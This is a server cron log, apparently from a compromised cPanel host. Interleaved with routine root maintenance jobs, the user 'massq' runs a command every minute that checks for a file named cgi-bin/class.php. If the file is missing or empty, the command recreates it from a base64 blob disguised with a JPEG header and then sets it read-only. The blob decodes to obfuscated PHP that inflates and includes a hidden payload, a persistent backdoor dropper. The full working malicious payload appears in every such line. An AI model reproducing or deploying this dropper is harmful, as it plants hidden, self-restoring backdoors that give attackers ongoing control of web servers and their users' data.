Nov 10 15:01:01 server CROND[8290]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:01:01 server CROND[8291]: (root) CMD (run-parts /etc/cron.hourly)
Nov 10 15:01:01 server run-parts(/etc/cron.hourly)[8291]: starting 0anacron
Nov 10 15:01:01 server run-parts(/etc/cron.hourly)[8304]: finished 0anacron
Nov 10 15:02:01 server CROND[9295]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:03:01 server CROND[9944]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:04:01 server CROND[10465]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:05:01 server CROND[11391]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 15:05:01 server CROND[11395]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 15:05:01 server CROND[11394]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 15:05:01 server CROND[11406]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:06:01 server CROND[11866]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:07:01 server CROND[12685]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:08:01 server CROND[13575]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:09:01 server CROND[14379]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:09:01 server CROND[14380]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 15:10:01 server CROND[15215]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 15:10:01 server CROND[15216]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:10:01 server CROND[15217]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 15:10:01 server CROND[15218]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 15:11:01 server CROND[16090]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:12:01 server CROND[16906]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:12:01 server CROND[16907]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 15:13:01 server CROND[17684]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
